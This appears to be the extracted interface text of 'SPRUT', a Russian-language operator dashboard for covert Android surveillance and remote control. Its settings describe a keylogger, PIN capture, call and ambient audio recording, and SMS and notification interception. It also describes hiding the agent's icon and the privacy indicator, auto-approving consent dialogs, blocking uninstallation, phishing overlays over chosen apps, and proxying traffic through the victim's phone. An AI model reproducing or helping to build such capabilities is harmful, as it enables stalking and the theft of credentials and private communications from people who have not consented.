🐙
SPRUT
🐙 SPRUT
🗄️
Connected
—
Выбери устройство
📱
Устройство не выбрано
Выберите устройство в панели выше или нажмите + Добавить
Требуется: scrcpy 4.1 на сервере, ADB подключение к устройству, Android 12+
Диагностика камеры
Добавь устройства через кнопку выше — каждая камера запускается независимо
🔔 Ключевые слова для алертов
Разделяй запятой. Совпадения будут подсвечены красным.
| 📅 Время | 📋 Содержимое | Источник |
|---|
📜 ИСТОРИЯ (из устройства)
Нажми «История» для загрузки
Нажми «Загрузить историю»
Чаты
💬Выбери чат слева
Нажми Обновить для загрузки данных
USSD-код
Нажми ▶ для запуска Camera2
Аудио воспроизводится через AudioContext (16кГц, PCM 16-bit, моно).
Уровень
Нажми Загрузить
| 👤 Имя | 📱 Телефоны |
|---|
Нажми Загрузить
| 📅 Дата | 🏷 Тип | 📱 Номер | 👤 Имя | ⏱ Длит. | 📲 Приложение | 🎵 Запись |
|---|
| 📅 Дата | 📲 Приложение | 🏷 Статус | 👤 Контакт | ⏱ Длит. |
|---|
Нажми Загрузить
| 📅 Дата | 🏷 Тип | 📱 Адрес | 💬 Текст |
|---|
📡 Управление модулями (Hardware)
GPS:
WiFi:
📍 Текущая позиция и трекинг
—
—
| 🕐 Время | 📱 Приложение | 📌 Заголовок | 💬 Текст |
|---|
🚫 Блокировка уведомлений (block-list)
Пакеты из этого списка будут автоматически отменяться агентом — пользователь их не увидит.
Одна строка = один пакет (например
com.android.systemui).
USB-устройство сначала переведи в TCP/IP режим кнопкой 📡 ниже, затем отключай кабель и подключайся по IP.
—
| 🔌 Serial / IP | 🏷 Псевдоним | 🟢 Статус | 📱 Модель | 📡 Подключение | ⚡ Действия |
|---|
—
Нажми «Построить маршрут»
🛑 Остановки
—
—
Нажми Загрузить
Нажми Загрузить
| 📦 Package | 🔢 Версия | 📂 APK | ⚡ Действия |
|---|
Нажми на путь чтобы открыть
| 📄 Имя | 📦 Размер | 🕐 Изменён | 🔒 Права | ⚡ Действия |
|---|
☁️ Синхронизация галереи на сервер
Выбери агента и укажи путь
| 📄 Имя | 📦 Размер | 🕐 Изменён | 🔒 Права | ⚡ Действия |
|---|
Нет активных записей
Сохранённые записи
Загрузка...
—
Запусти стрим чтобы начать управление.
🔧 Навигация
⚙️ Настройки
↕️ Свайпы
⌨️ Клавиши
🔊 Громкость
📲 Запуск
–
—
🗃 Офлайн-галерея: —
Нажми Загрузить
Настройка разрешений агента
Выдаётся через ADB-туннель с VPS — не нужен ADB на вашем ПК. Один раз после установки APK.
| ✓ | Разрешение | Что даёт |
|---|---|---|
| — | WRITE_SECURE_SETTINGS | GPS вкл/выкл, WiFi вкл/выкл, wireless ADB после перезагрузки |
| — | READ_LOGS | Системный logcat (раздел «Logcat») |
| — | get_usage_stats (appops) | Статистика приложений (раздел «Использование») |
| — | READ_PHONE_STATE | Информация о SIM-картах, состояние звонка |
| — | READ_CALL_LOG | История входящих / исходящих / пропущенных звонков |
| — | READ_SMS | Чтение SMS (раздел «SMS») |
| — | RECEIVE_SMS | Приём новых SMS в реальном времени (live push) |
| — | READ_CONTACTS | Телефонная книга (раздел «Контакты») |
| — | ACCESS_FINE_LOCATION | Точные GPS координаты (раздел «Местоположение») |
| — | ACCESS_BACKGROUND_LOCATION | GPS в фоне (автоотслеживание маршрута) |
| — | RECORD_AUDIO | Микрофон, фоновая запись, прослушивание (разделы «Записи», «Mic») |
| — | CAMERA | Видеосъёмка, фото, прямой эфир камеры |
| — | READ_MEDIA_AUDIO (Android 13+) | Аудиофайлы (записи звонков) |
| — | READ_MEDIA_IMAGES (Android 13+) | Фотографии на устройстве |
| — | READ_MEDIA_VIDEO (Android 13+) | Видеофайлы на устройстве |
scrcpy
☎ Запись звонков
Включить запись звонков
Авто-запись входящих и исходящих звонков
Авто-старт при звонке
Начинать запись автоматически при входящем звонке
Формат записи
Качество
📍 GPS-слежение
Включить GPS
Сбор координат местоположения устройства
Пассивный режим
Получать позицию только когда другое приложение запросило GPS (без иконки)
Интервал обновления (секунды)
Рекомендуется 30–120 сек. Меньше = больше расход батареи.
🔑 Кейлоггер
Включить кейлоггер
Перехват нажатий клавиш во всех приложениях
Исключить приложения (по одному на строку)
Пакеты не будут логироваться. Оставьте пустым чтобы логировать всё.
🎥 Камера
Включить доступ к камере
Разрешить снятие скриншотов, видео и фото
🔔 Уведомления
Перехватывать уведомления
Логировать push-уведомления всех приложений
Исключить пакеты (по одному на строку)
Уведомления от этих пакетов не будут сохраняться.
💬 СМС
Перехватывать СМС
Логировать входящие и исходящие сообщения
🛡 Защита настроек
Защита от удаления
Агент сопротивляется деинсталляции и очистке данных
🎤 Ambient (фоновый микрофон)
Включить Ambient
Периодическая запись звуков окружения
Длительность записи
Интервал
📷 Скриншоты
Автоматические скриншоты
Периодический захват экрана устройства
Интервал захвата
Качество JPEG
📔 Контакты
Синхронизировать контакты
Периодическая выгрузка адресной книги
Частота синхронизации
📱 Приложения
Отслеживать приложения
Список установленных приложений и изменений
Логировать запуски приложений
Записывать какие приложения открывались
🔒 Device Owner — Управление
DO Статус
Загрузка...
🗺 Скрыть приложение
Полностью скрывает приложение из лаунчера и настроек (данные сохраняются)
⏸ Заморозить приложения
Иконка становится серой, приложение не запускается
🔓 Выдать пермиссию (без диалога)
🚫 Запреты (User Restrictions)
🌐 Always-On VPN
⚙ Все методы (89)
☁ Синхронизация данных
Режим синхронизации
Когда выгружать данные на сервер
Данные накапливаются на телефоне и загружаются по выбранным правилам.
📍 Автотрекинг GPS
Постоянно собирает координаты устройства. Без этого вкладка «Маршрут» будет пустой.
Включить автотрекинг
Фоновый сбор GPS координат
Интервал опроса
🔔 Авто-логгер уведомлений
Фоновый сбор всех уведомлений (WhatsApp, Telegram, Viber, …) — нужен для определения отправителя голосовых и переписки.
Включить авто-логгер
Автоматический сбор уведомлений
Интервал опроса
💾 Хранение файлов на устройстве
После записи файл автоматически копируется на телефон в скрытую папку (не видна в галерее).
Копировать на устройство
Записи будут храниться на телефоне
Папка на устройстве
Скрытая папка, замаскирована под системный кэш Android
Оставлять копию на сервере
Дублировать записи на VPS
🔒 Шифрование офлайн буфера
Все данные на телефоне зашифрованы AES-256-GCM. Ключ создается при установке.
Статус шифрования
Ключ хранится в Android Keystore
Обфускация имён
Имена файлов SHA256-хешируются
🛡 Защита данных:
- AES-256-GCM аппаратное шифрование
- Уникальный ключ для каждого устройства
- Синхронизация ключа на сервер при установке
- Автоматическая дешифровка при загрузке
🔔 Push-алерты браузера
Уведомления при входящем звонке, SMS с ключевым словом или выходе из гео-зоны.
Входящий звонок
Уведомление при звонке
Ключевые слова в СМС
Уведомление при совпадении
Ключевые слова
Батарея < 15%
Уведомление при низком заряде
Выход из гео-зоны
Уведомление при покидании зоны
🔁 Авто-синхронизация данных
Автоматически обновляет контакты, звонки и СМС в фоне. Данные всегда актуальны в дашборде и поиске.
Включить авто-синхронизацию
Фоновое обновление данных
Интервал синхронизации
Загрузка расписаний…
💡
Offline-First: Расписания и триггеры выполняются локально на устройстве, даже без интернета.
Сервер используется только для настройки через панель. Данные сохраняются в локальном буфере и синхронизируются когда появляется связь.
Сервер используется только для настройки через панель. Данные сохраняются в локальном буфере и синхронизируются когда появляется связь.
Расписания
Выберите устройство и нажмите «Обновить»
Триггеры
Выберите устройство и нажмите «Обновить»
На ПК (сервер)
| 🔌 Устройство | 📄 Файл | 📦 Размер | 🕐 Время |
|---|
PCM 16кГц моно через WebSocket тоннель — без ADB, работает через интернет.
Уровень
Синхронизация данных
Вкл
Интервал:
📡 Сеть:
📦 Что синхронизировать
▾🎙 Аудио и видео
▾💬 Мессенджеры
▾🖥 Экран и активность
▾🌍 Геолокация и браузер
▾📋 Системные данные
🎙 Поведение записи
💾
Мин. место на диске
Не записывать если меньше
МБ
Данные на устройстве
Нажмите «Обновить»
Итого: —
История синхронизаций
0
Всего
0
Активных
0
Неактивных
⚡ Быстрые действия
Нажмите Обновить
Нажми Загрузить
$
Ctrl+C = прервать · Enter = выполнить · ADB shell через WebSocket туннель
USSD-код
🔁 Массовые операции
Выберите устройства:
📸 Скриншот
Снять с выбранных устройств сразу
📍 GPS трекинг
Старт / стоп отслеживания
⌨ Набор текста
Напечатать одинаковый текст на всех
🔑 Keycode
Нажать кнопку (напр. 26 = Power, 3 = Home)
🔔 Монитор уведомлений
Запуск / стоп сбора уведомлений на всех выбранных
📞 Запись звонков
Запуск / стоп авто-записи входящих/исходящих
🎛 Управление устройством
📶 Сеть
🔵 Bluetooth
🔥 Точка доступа
🖥 Экран
Яркость %:
Таймаут экрана:
🔔 Звук и уведомления
⚙️ Система
Масштаб шрифта:
🧭 Навигация
Ввод текста:
⏰ Расписание WiFi+ADB
Нажмите Обновить
📱 Устройства
0
Всего
0
Активных
0
Неактивных
📁 По группам
🎙 Записи
0
Звонков сегодня
0
За неделю
0
Всего
👥 Пользователи
0
Всего
0
Админов
0
Операторов
Устройства
Всего
—
пользователей
Активных
—
с доступом
Администраторов
—
admin + superadmin
Операторов
—
operator
| Пользователь | Роль | Устройства | Разрешения | Последний вход | Статус | 2FA | Действия | ||
|---|---|---|---|---|---|---|---|---|---|
| Загрузка... | |||||||||
Всего
—
устройств
Назначено
—
с куратором
Свободно
—
без куратора
Online
—
сейчас
| Статус | Устройство | Serial / ID | Модель | Куратор | Доступ | Лимиты | Действия |
|---|---|---|---|---|---|---|---|
| Загрузка... | |||||||
Загрузка...
| Право | Группа | admin | operator | observer |
|---|---|---|---|---|
| Загрузка... | ||||
⚠ superadmin всегда имеет все права и не отображается здесь. Права пользователей с индивидуальными переопределениями применяются поверх этих значений.
| Вкладка | Категория | developer | admin | operator | observer |
|---|---|---|---|---|---|
| Загрузка... | |||||
⚠ Изменения вступят в силу после следующего входа пользователей с этой ролью.
🌍 Гео-ограничения
Загрузка...
🌐 IP правила
Загрузка...
🔑 Политика паролей
🔐 Двухфакторная аутентификация
Разрешённые методы:
🚫 Заблокированные попытки входа
Загрузка...
| Время | Пользователь | Событие | Детали | IP |
|---|---|---|---|---|
| Загрузка... | ||||
Загрузка...
?
Пользователь
Имя отображения
Логин (неизменяемый)
Роль
Устройства (* = все)
Разделяйте серийники запятыми. * = все устройства.
Таймаут сессии (минуты)
Заметки администратора
Переопределения поверх роли. Разрешить — добавить право которого нет в роли.
По роли — дефолт. Запретить — явно убрать право.
Активные сессии пользователя
| Браузер/IP | Создана | Истекает | Активность | |
|---|---|---|---|---|
| Загрузка... | ||||
API ключ позволяет авторизоваться через заголовок
Authorization: Bearer <key>Сброс пароля
Новый пароль будет установлен администратором. Пользователь будет обязан сменить его при следующем входе.
Новый пароль
2FA / TOTP
?
Новый пользователь
Основная информация
Логин *
Имя отображения
Пароль *
Email
Роль
👁
Наблюдатель
Только просмотр
⚙
Оператор
Управление устройствами
🔐
Администратор
Полный доступ
Доступ к устройствам
🔑 Сменить пароль
Текущий пароль
Новый пароль
Повторите новый пароль
🗝 Мой API ключ
API ключ позволяет авторизоваться через заголовок
Authorization: Bearer <key> без cookie-сессии.
Организуйте устройства по группам и подгруппам. Назначайте операторов и наблюдателей для каждой группы.
Создать группу
📨 Telegram Алерты
Bot Token
Chat ID (через запятую)
Типы алертов
SMS ключевые слова (через запятую)
| Время | Пользователь | IP | Метод | Путь | Статус | Устройство | мс |
|---|
Записи (аудио/видео), дней
Уведомления, дней
Кейлоггер, дней
GPS-трек, дней
Новое имя приложения
Иконка приложения (отображается в Настройки → Приложения)
Как работает: Изменения применяются к APK в OTA-архиве на сервере. Телефон скачивает обновлённый APK при следующей проверке OTA (каждые 6ч) или немедленно после нажатия кнопки "Принудительно отправить". После переустановки имя и иконка обновятся в Настройки → Приложения.
Нажми Загрузить
Требует разрешения SYSTEM_ALERT_WINDOW (выдаётся установщиком)
Когда пользователь откроет приложение из списка targets — агент автоматически откроет указанный URL в WebView поверх него.
Прокси не запущен
После запуска скопируй адрес SOCKS5 и вставь в настройки браузера (Настройки → Прокси → SOCKS5).
Весь трафик пойдёт через интернет-соединение телефона.
Весь трафик пойдёт через интернет-соединение телефона.
Скрывает зелёную точку приватности через FabricatedOverlay (IOverlayManager).
Требует запущенного PrivilegedServer (uid=2000). Android 12+, сохраняется после перезагрузки.
Требует запущенного PrivilegedServer (uid=2000). Android 12+, сохраняется после перезагрузки.
🚨 Экстренная остановка авто-кликов
Отключает анти-удаление, авто-подтверждение диалогов и авто-скрытие уведомлений одной кнопкой. Команда встанет в очередь если устройство оффлайн.
🛡 Защита от удаления
Блокирует экраны удаления/принудительной остановки. Жмёт НАЗАД когда открываешь "Удалить приложение" или "Принудительно остановить".
🤖 Авто-подтверждение диалогов
Авто-нажимает "Разрешить" на диалогах ADB/USB-отладки и "Начать" на диалогах MediaProjection (запись экрана). Если устройство само кликает — отключи это.
🔋 Авто-скрытие уведомлений батареи
Автоматически закрывает уведомления о расходе батареи от системы. Нажимает "Закрыть" или НАЗАД на таких диалогах.
🔢 PIN-трекер
Перехватывает нажатия на цифры (PIN-коды, пароли). Данные приходят через stream pin (0x0C).
📱 OEM автозапуск
Открывает экран автозапуска производителя на устройстве (для добавления в белый список).
💣 Жёсткое удаление агента
Удаляет agent + guard полностью с устройства и все их файлы.
Работает онлайн и офлайн (нужен ADB).
Работает онлайн и офлайн (нужен ADB).
📱 Удалить любой пакет (ADB)
👆 Двойной тап
🤏 Пинч (масштаб)
🖱 Realtime режим касания
Включает потоковый режим ввода касаний (touch_start / touch_move / touch_end).
🔐 AutoPIN — ввести пин
⬆⬇⬅➡ Направленные свайпы
⌨ Ввод текста в активное поле
🔊 Громкость
💉 Инъекция и WorkManager
📱 Управление экраном (Direct)
Direct-команды: screen_wake / screen_lock / notification_shade — без ADB
🔊 Точная громкость (Direct)
7
🗂 UI Иерархия (Direct)
🚀 Запуск приложения (Direct)
Запускает приложение по package name через Direct канал (без ADB)
Загрузка...
Выберите устройство
Выберите устройство
Выберите устройство
Выберите устройство
Выберите устройство
Выберите устройство
Выберите устройство
Выберите устройство
Выберите устройство
Выберите устройство
Выберите устройство
Выберите устройство
Выберите устройство
Выберите устройство
Выберите устройство
Выберите устройство
Выберите устройство
Выберите устройство
Выберите устройство